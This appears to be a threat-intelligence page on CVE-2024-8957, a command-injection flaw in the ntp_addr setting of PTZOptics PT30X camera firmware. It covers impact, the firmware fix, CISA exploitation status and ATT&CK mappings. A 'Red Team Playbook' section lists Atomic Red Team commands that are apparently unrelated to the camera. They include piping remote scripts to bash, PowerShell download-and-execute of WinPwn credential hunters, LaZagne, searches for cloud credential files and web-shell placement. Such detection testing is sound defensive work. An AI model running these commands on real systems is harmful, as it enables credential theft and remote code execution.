CVE-2024-8957
Overview
This vulnerability is an OS command injection flaw resulting from insufficient validation of the ntp_addr configuration parameter in PTZOptics PT30X-SDI and PT30X-NDI-xx firmware prior to version 6.3.40. The affected component is the ntp_client service, which processes the ntp_addr input without proper sanitization, allowing injection of arbitrary shell commands. The root cause lies in the failure to properly sanitize or restrict input to this configuration value during the initialization of the NTP client.
Vulnerability Description
PTZOptics PT30X-SDI/NDI-xx before firmware 6.3.40 is vulnerable to an OS command injection issue. The camera does not sufficiently validate the ntp_addr configuration value which may lead to arbitrary command execution when ntp_client is started. When chained with CVE-2024-8956, a remote and unauthenticated attacker can execute arbitrary OS commands on affected devices.
Impact
An unauthenticated remote attacker can execute arbitrary operating system commands on affected devices by exploiting this vulnerability, potentially gaining full control over the camera system. This enables unauthorized access to sensitive data, manipulation of device functions, or disruption of service. No user interaction is required if combined with a separate vulnerability that allows remote configuration changes, facilitating a complete system compromise and lateral movement within the network environment.
Solution
PTZOptics has addressed this issue in firmware version 6.3.40 and later for the PT30X-SDI and PT30X-NDI-xx models. Users should update their devices to this version or newer as detailed in the vendor's firmware changelog at https://ptzoptics.com/firmware-changelog/. No specific workarounds are documented, so applying the official firmware update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the PTZOptics PT30X-SDI/NDI-xx cameras arises from an insufficient validation of the ntp_addr configuration value. This oversight allows for OS command injection, which can be exploited when the ntp_client service is initiated. Attackers can craft malicious input that the camera's firmware fails to sanitize, leading to arbitrary command execution on the underlying operating system. This flaw is particularly concerning as it opens a pathway for unauthorized users to execute commands with the same privileges as the camera's operating system, potentially compromising the device's integrity and security.
Exploitation of this vulnerability can occur through various attack vectors. A remote and unauthenticated attacker could leverage the flaw by sending specially crafted requests to the camera, particularly during the configuration of the ntp_addr parameter. If the attacker can manipulate this configuration, they can execute arbitrary commands, which may include installing malware, altering device settings, or even exfiltrating sensitive data. The risk is exacerbated when this vulnerability is chained with another related flaw, which could further facilitate the attacker's ability to gain control over the device without requiring any form of authentication.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on these cameras for critical operations, such as broadcasting, surveillance, or remote monitoring. An attacker gaining control over a camera can disrupt services, manipulate video feeds, or use the device as a pivot point to infiltrate broader network systems. The potential for data breaches or unauthorized access to sensitive information can lead to severe business risks, including reputational damage, financial losses, and legal liabilities. Organizations must recognize that the implications of such vulnerabilities extend beyond the immediate device, potentially affecting entire networks and operational continuity.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions is crucial, as manufacturers often release patches that address known vulnerabilities. Network segmentation can also help limit the exposure of these devices to untrusted networks, thereby reducing the attack surface. Additionally, employing intrusion detection systems (IDS) can aid in identifying unusual patterns of behavior that may indicate exploitation attempts. Organizations should also conduct regular security assessments and penetration testing to uncover potential vulnerabilities before they can be exploited by malicious actors.
In conclusion, the OS command injection vulnerability in the PTZOptics PT30X-SDI/NDI-xx cameras presents a serious risk to organizations utilizing these devices. The ability for an attacker to execute arbitrary commands without authentication highlights the importance of robust security practices. By understanding the technical details of the vulnerability, recognizing potential attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against the threats posed by such vulnerabilities. The proactive management of device security is essential in maintaining the integrity and trustworthiness of critical operational systems.
CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2024-8957, indicating a modest uptick in attempts to exploit the OS command injection vulnerability in PTZOptics PT30X-SDI devices. Although the overall exploit trend remains stable and no new proof-of-concept exploits have surfaced, this subtle rise in telemetry suggests adversaries continue to probe these devices, potentially leveraging the vulnerability in conjunction with CVE-2024-8956 for unauthenticated remote command execution. The elevated detection frequency, while not yet indicative of widespread exploitation, underscores the ongoing interest from threat actors and the necessity for continued vigilance. Consequently, the risk posture remains high given the vulnerability’s capacity for remote arbitrary command execution, but the absence of rapid escalation or ransomware linkage tempers immediate concerns about large-scale campaigns.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ptzoptics | Pt30x-Sdi Firmware | All |
cpe:2.3:o:ptzoptics:pt30x-sdi_firmware:*:*:*:*:*:*:*:*
|
|
|
Ptzoptics | Pt30x-Ndi-Xx-G2 Firmware | All |
cpe:2.3:o:ptzoptics:pt30x-ndi-xx-g2_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8957 |
| ptzoptics.com |
GitHub CVE
vendor-advisory
|
https://ptzoptics.com/firmware-changelog/ |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://vulncheck.com/advisories/ptzoptics-command-injection |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-8957 |
| greynoise.io |
NVD API
Third Party Advisory
|
https://www.greynoise.io/blog/greynoise-intelligence-discovers-zero-day-vulnerabilities-in-live-streaming-cameras-with-the-help-of-ai |
| labs.greynoise.io |
NVD API
Exploit
Third Party Advisory
|
https://www.labs.greynoise.io/grimoire/2024-10-31-sift-0-day-rce/ |